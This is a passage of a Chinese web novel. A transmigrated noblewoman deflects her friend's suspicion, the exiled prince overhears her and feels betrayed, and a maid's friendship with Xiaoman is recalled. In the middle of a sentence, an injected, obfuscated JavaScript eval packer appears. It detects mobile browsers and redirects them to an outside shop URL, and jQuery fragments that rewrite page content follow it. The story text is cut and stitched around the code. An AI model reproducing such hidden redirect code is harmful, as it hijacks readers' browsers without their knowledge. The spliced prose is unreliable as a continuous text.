“什么?你说是萧闻煜让你这样的?!”
谢晏清眼圈迅速红了,手紧紧攥住被角,哽咽道:“没错雨薇,我变成如今这样,都是因为萧闻煜。”
林雨薇果然一愣,倾身过来:“他如何对你,你都和我说。”
“他……”谢晏清垂下头,掩盖住自己的神色,脑中飞速思考,“他近日总和我作对,我让他往东他偏要往西,还……还总是顶撞我,我照顾他这几日总是被他气到心神不宁,呜呜呜雨薇我好委屈,你说我从小到大,何时受过这种气。”
谢晏清说着说着,想到刚才近日种种遭遇和刚才萧闻煜将她压在身下,竟真有些委屈,开始抽泣起来。
林雨薇见她这幅模样,也开始慌了,她伸出手,胡乱擦着谢晏清眼角溢出的泪,“清儿你不要难过,萧闻煜不过一个废太子竟如此嚣张,还让你这般受气。”
她猛地一拍床板,把谢晏清吓了一跳。
“那萧闻煜如今在哪?我今日就要替你出这个气!”
谢晏清慌忙拉住她:“别!”
应着林雨薇疑惑的目光,谢晏清长叹一口气:“前几日皇后亲临,特地吩咐我们要好好照顾萧闻煜,现在咱们全府就差把萧闻煜供起来了,谁都动不得,若是雨薇你贸然前去,到时触了他的霉头,我怕连累你。”
林雨薇冷静下来,坐回床上,面色焦急,“这可如何是好,难不成就白白咽下这口气不成。”
谢晏清莞尔一笑:“如今我想明白了,萧闻煜他就算再废,那也是一国之君之子,不是我们能得罪得起的。从前的我太蠢,真当他是我的玩物,伤害了他,其实呢?他也是我纳兰府的催命符,若是我还像从前那样肆意妄为,纳兰府迟早会被我的所作所为连累。”
她抬起眼,认真看着林雨薇,“所以啊雨薇,忍一时风平浪静,退一步海阔天空,我们如今被这么多双眼睛盯着,还是收敛些比较好。”
林雨薇怔住,半晌才回道:“所以你这些日子性情转变,处处隐忍,都是因为这个?”
谢晏清点头:“嗯呢,就算不为他,从前我做的那些事确实是太过分了,必定有一天会遭反噬,所以我才决心要改变。”
林雨薇眼眶红了,一把抱住谢晏清:“清儿,我的清儿,你受苦了。”
谢晏清笑着轻拍了拍她的背:“我如今吃饱穿暖,如何受苦啊?雨薇,你也不要乱想了,我很好。”
“你……你当真长大了。”林雨薇捋了捋谢晏清额前的发:“我方才竟然还真信了传言,怀疑你是不是换了个人,现在看来,全是她们在乱说,我的清儿分明还是从前那个清儿。”
“什么?!什么换了个人?”谢晏清猛地抬头,心里“咯噔”一下,赶忙问道。
“就是前阵子的传言啊。”林雨薇看了她一眼,缓缓开口道:“据说一天早上纳兰府大小姐从床上摔下来磕到了脑袋,此后就性情大变,跟换了个人似的。”
“从前胸无点墨,对一切琴棋书画嫉恶如仇,突然就开始主动读书写字;还有从前对待下人如猪狗,一点小事动辄打骂,但那日都磕到脑袋了,居然半句责骂也没。”
谢晏清越听额角渗出的冷汗越多,她擦了擦额角冒出的冷汗:“额这个……”
林雨薇冷哼一声:“明明就是她们乱说,我的清儿何时是她们口中那么不堪的样子,下次再让我听到她们乱说你的闲话,我冲上去撕烂她们的嘴!”
丝毫没注意到一旁的谢晏清脸上色血色一寸寸褪去,变得惨白如纸。
林雨薇只当是她又不舒服了,替谢晏清掖了掖被角,“好了,你不舒服就好好休息吧,我就不吵你了,改天我们叫上其他几人去御轩阁聚聚。”
待林雨薇的脚步声远去,谢晏清生无可恋地躺在床上。
她望着帐顶,心情久久不能平静。下一秒,她猛地拉过被子,蒙住头,心脏狂跳,几乎要从嗓子眼里蹦出来。
啊啊啊啊啊啊!!!她以为自己藏得天衣无缝,以假乱真,殊不知自己的传闻早在刚换身子那时候就在京城乱飞了。那自己这些日子到底在藏些什么,到底在小心翼翼些什么!
好在自己刚才给林雨薇编得理由她已经信了,希望往后这个谣言能平息些吧……
心中思绪纷乱,疲惫席卷全身,想着想着,谢晏清不知不觉睡着了。
窗外的长廊只剩下寂静的风,卷动落叶。
萧闻煜立于阴影,将刚才屋内的一字一句尽数收入耳中。
原来他在他眼中,不过是个会连累纳兰府的累赘,就连近日她对自己的好意,都不过是她权衡利弊的伪装罢了。
身下紧攥着的手骨节泛白,心口细细密密泛起一阵疼痛,萧闻煜唇角勾起一抹冷笑。
他忽然想起她笨拙地给自己上药,藏在碗底的那颗冰糖,明明怕得要死却还梗着脖子装凶的滑稽模样。
纳兰清那个蠢货,从来都只将他当成可随意践踏的玩物,何时将他当过龙子凤孙?
从她性情大变的这些天,他其实隐隐猜出了她已经不是从前那个纳兰清,他心里暗暗窃喜,以为终于有个人,对他好,可刚才他亲口听到,这都是迫不得已,并不是她的真心,他还是像从前一样,没有人爱,被所有人平等地抛弃。
真是可笑,所有的一切,都是他自作多情。
夕阳散下的光影落到他孤寂的背影,身后落叶盘旋过后重新落地。
正如她们这些天好不容易垒起来的感情,一切都重新归于虚无。
第二天,天光微亮,纳兰府下房已经是一片忙碌。
“碧桃,你快点呀,嬷嬷刚才催了呢。”
“来了来了,你等等我。”纳兰清三下五除二收拾好,朝小满的方向过去。
小满拉过纳兰清的手,“你可算来啦,你是没看到,刚才嬷嬷的样子,好像要吃人。”
纳兰清脑补了一下,低声笑了笑:“是嘛,那模样一定很滑稽。”
“何止是滑稽,和母夜叉似的,丑巴巴的。”小满在纳兰清身边叽叽喳喳,头上的小揪随着走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848236|211770||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
路一晃一晃。
“那边的两个,你们还在那边干什么呢?还不快些!”老妖怪的声音隔着十万八千里精准传入她们两人耳中。
纳兰清与小满相视一笑,“我们快过去吧,我可不想被老妖怪责罚。”便一起跑开了。
前些日子纳兰清做活时遇到了因在干活时闲聊而被关杂物间的小满,小满性子活泼,与谁都能聊起来,当时从门缝里看到纳兰清,就拽着她聊了许久。
最后就是纳兰清被当场抓到,也一起被关进了杂物间。
杂物间当时伸手不见五指,小满愧疚的声音却格外清晰,“对不住啊,我也没想到会连累你,但是吧我就是管不住我这张嘴。”
纳兰清先前被关杂物间的阴影还在,没好气道:“我说你一人受罚,连累我做什么,都怪你,你知不知道我本来打扫完那一块就能休息了。”
空气静默一瞬,纳兰清感觉到有什么温热东西摸上了自己的手,她反应过来,想甩开,突然一个饼状的东西塞到了自己手里。
纳兰清猛地愣住,“这是……?”
“我今天从后厨偷偷拿的,给你吃,你不要生气了好不好。”
手中的糕点已经凉透了,可却一直都被小心保存着,是完好的。
“你给我吃,那你怎么办?”
“我又不饿,况且是我连累你被关进来的,你吃吧。”
话刚说完,一声绵长且清晰的咕噜声就从纳兰清对面传来。
纳兰清:……
对面愣了一瞬,有些尴尬,“额这个……”
纳兰清叹了口气,问道:“你多久没吃饭了?”
沉默许久,小满才轻声回答:“从中午被关进来开始就没吃过了,我得禁食一天,明天才能出去。”
纳兰清被关进来时外面的天色已经是黄昏,她有些不解:“那你还要给我吃?”
“我习惯了嘛,就饿一天而已,没关系的。”
纳兰清轻轻捏着手里的糕点,抿了抿唇,将它掰成了两半,把多的那一半递了过去。
小满愣了许久,迟迟不敢接。
“一起吃吧。”
小满忙推辞:“这怎么行……这分明是给你的。”
“少废话,快点接,我手酸死了。”
“哦哦哦。”小满赶紧接过。
过了很久,传来小满极低的一声:“谢谢。”
纳兰清有些困了,此刻正靠在墙上小憩,闻言只是随意应了一声:“嗯。”
“我叫小满,你叫什么?”
“碧桃。”
“碧桃……我记住了。”
后来,二人就正式结交了。
小满活泼开朗,在这沉闷的丫鬟日子里带给纳兰清许多欢乐,久而久之,纳兰清觉得,这枯燥乏味的丫鬟生活,似乎也没有这么无趣难熬。
“碧桃,愣什么呢?我给你占了位置,你再不来就要被人抢了。”
思绪回笼,纳兰清看着远处向自己招手的小满,快步走了过去。